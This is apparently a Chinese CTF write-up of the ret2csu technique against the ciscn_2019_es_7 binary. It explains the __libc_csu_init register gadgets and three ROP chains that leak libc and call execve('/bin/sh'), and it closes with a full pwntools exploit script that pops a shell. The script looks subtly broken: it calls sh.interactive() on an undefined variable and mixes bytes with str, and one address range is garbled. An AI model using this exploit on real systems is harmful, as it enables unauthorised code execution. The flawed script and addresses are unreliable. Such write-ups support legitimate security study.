ret2csu
1.main函数F5,发现没有什么进入vuln函数
缓冲区覆盖返回地址的大小是0x10+8,有存在栈溢出,shift+F12没有找到/bin/sh和system函数,但是有libc函数,所以可以利用对其做初始化的__libc_csu_init函数来控制寄存器的数据。
2.空格查看__libc_csu_init函数的汇编如下
(1)可以发现在0x40059A到0x40054A中pop了一堆寄存器,因为pop指令是使从栈中弹出来的值储存在寄存器里,所以我们可以通过栈溢出来修改栈上的数据,使其弹出我们想要的值到寄存器中,因此,我们可以控制rbx,rbp,r12,r13,r14,r15这六个寄存器中的数据。
(2)而在0x400589的位置调用了一个函数,地址为【r12+rbx*8】,所以,如果我们合理的修改r12和rbx这俩寄存器的值,就可以调用我们想调用的函数。比较方便的一个选择是将rbx赋值为0,这样r12就可以是任意的我们想调用的函数的那个地址。
(3)在0x400580到0x400586之间,是把r13的值赋给rdx,把r14的值赋给rsi,把r15的值赋给edi(其实也就是rdi,因为高32位为0用不到)
从左到右分别是:寄存器的值--它指向的地址--地址处存储着字符串
而rdi`0x1`,表示一个标准输出文件描述符(stdout)。
(4)在0x40058D到0x400594之间可以看出rbx与rbp的关系:rbp=rbx+1,如果rbx和rbp不相等则跳转到0x400580重新执行这一段。因为(2)中已经将rbx赋值为0了,为了让程序继续往下走可以将rbp赋值为1
3.解题思路:需要构造三回ROP链
(1)第一回用csu函数csu(rbx, rbp, r12, r13, r14, r15, last)泄露write函数got表地址,从而获得libc版本,得到基地址从而获得execve的地址。
(2)第二回用csu函数csu(rbx, rbp, r12, r13, r14, r15, last)调用read函数,将execve函数和'/bin/sh\x00'字符串写入bss段
(3)第三回用csu函数csu(rbx, rbp, r12, r13, r14, r15, last)调用execve函数,获得shell权限。
4.想要构造这三条ROP链要知道以下函数:
(1)write(int fd, const void *buf, size_t count)
fd:要写入的文件描述符。标准输出(stdout)的文件描述符是1,标准错误输出(stderr)的文件描述符是2。
buf:简单来说就是传入缓冲区的地址,将想调用的函数写在栈上
count:要写入的字节数。而在这里我们想把write的got表地址写入栈上,x86_64位系统上,函数的got表地址占据8个字节,也就是说count=8
(2)read(int fd, void *buf, size_t count)
fd:要读取的文件描述符。标准输入(stdin)的文件描述符是0.
buf:传入缓冲区的地址,将想调用的函数写在栈上
count:要读取的最大字节数。这里我们应该使count=16,因为16刚好可以读取到read函数的返回地址和参数。这些读取到的数据可能包含重要的地址信息,比如 `libc` 基地址,后续可以通过计算偏移量来找到其他函数的地址。
(3)execve(const char *filename, char *const argv[], char *const envp[])
filename:要执行的新程序的路径名。这个参数是一个字符串,指定了要执行的程序的文件路径,这里filename可以为【bss_base(基地址)+8】,‘+8’表示在该地址的基础上偏移8个字节,通过将 `/bin/sh\x00` 这个字符串存储到bss_base(基地址)+8,就可以将 `/bin/sh` 的路径传递给 `execve` 函数,从而执行 `/bin/sh` 程序,实现获取 shell 权限的目的。
argv:参数数组。数组的最后一个元素必须为NULL(0)。
envp:环境变量数组。数组的最后一个元素必须为NULL。
5.编写脚本
from pwn import * from LibcSearcher import LibcSearcher #context.log_level='debug' ciscn_2019_es_7=ELF('./ciscn_2019_es_7')#使用pwntools中的ELF类加载level5二进制文件 p=process('./ciscn_2019_es_7')# 启动一个进程,运行level5二进制文件,并将其赋给p变量 #p=remote("") write_got=ciscn_2019_es_7.got['write']#获取write函数的GOT地址。 read_got=ciscn_2019_es_7.got['read']#获取read函数的GOT地址。 main_addr=ciscn_2019_es_7.symbols['main']#获取main函数的地址。 bss_base=ciscn_2019_es_7.bss()#获取bss段的基地址 csu_front_addr=0x400580 csu_end_addr=0x40059A #p64(rbx):将 64 位整数 rbx 转换为字节序列(bytes) def csu(rbx, rbp, r12, r13, r14, r15, last): #定义一个函数csu,last是目标函数的入口地址 payload=b'a'*(0x10+8)#将栈上写满垃圾数据并覆盖返回地址,这样就不会返回到程序指定位置 payload+=p64(csu_end_addr)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13) +p64(r14)+p64(r15) payload+=p64(csu_front_addr) #这样写的原因是csu函数会先跳到csu_end_addr的地址,将后面的寄存器的值加载到相应的参数寄存器中 #最后通过 jmp csu_front_addr 返回到 csu 函数的开头继续执行 payload+=p64(last)#目标函数 p.send(payload)#发送payload sleep(1)#等待一秒钟
# write(1,write_got,8) csu(0, 1, write_got, 8, write_got, 1, main_addr)#将write_got写入栈上并执行 write_addr = u64(p.recv(8))#接收8字节大小的write地址 libc=LibcSearcher('write',write_addr )#获取write在libc库中的地址 libc_base=write_addr-libc.dump('write')#基地址=真实地址-偏移地址 execve_addr=libc_base+libc.dump('execve') log.success('execve_addr ' + hex(execve_addr))#log.success() 用于输出一个成功的提示消息,并将 execve_addr 的十六进制表示附加在消息后面 #gdb.attach(p) # read(0,bss_base,16) csu(0, 1, read_got, 16, bss_base, 0, main_addr)#将基地址写入栈上并执行read函数 p.send(p64(execve_addr) + '/bin/sh\x00')#将execve_addr转换为长度为8字节的二进制数据并写入第一个参数是要执行的程序路径/bin/sh # execve(bss_base+8) csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)#跳转到bss_base上执行/bin/sh sh.interactive()#re2csu#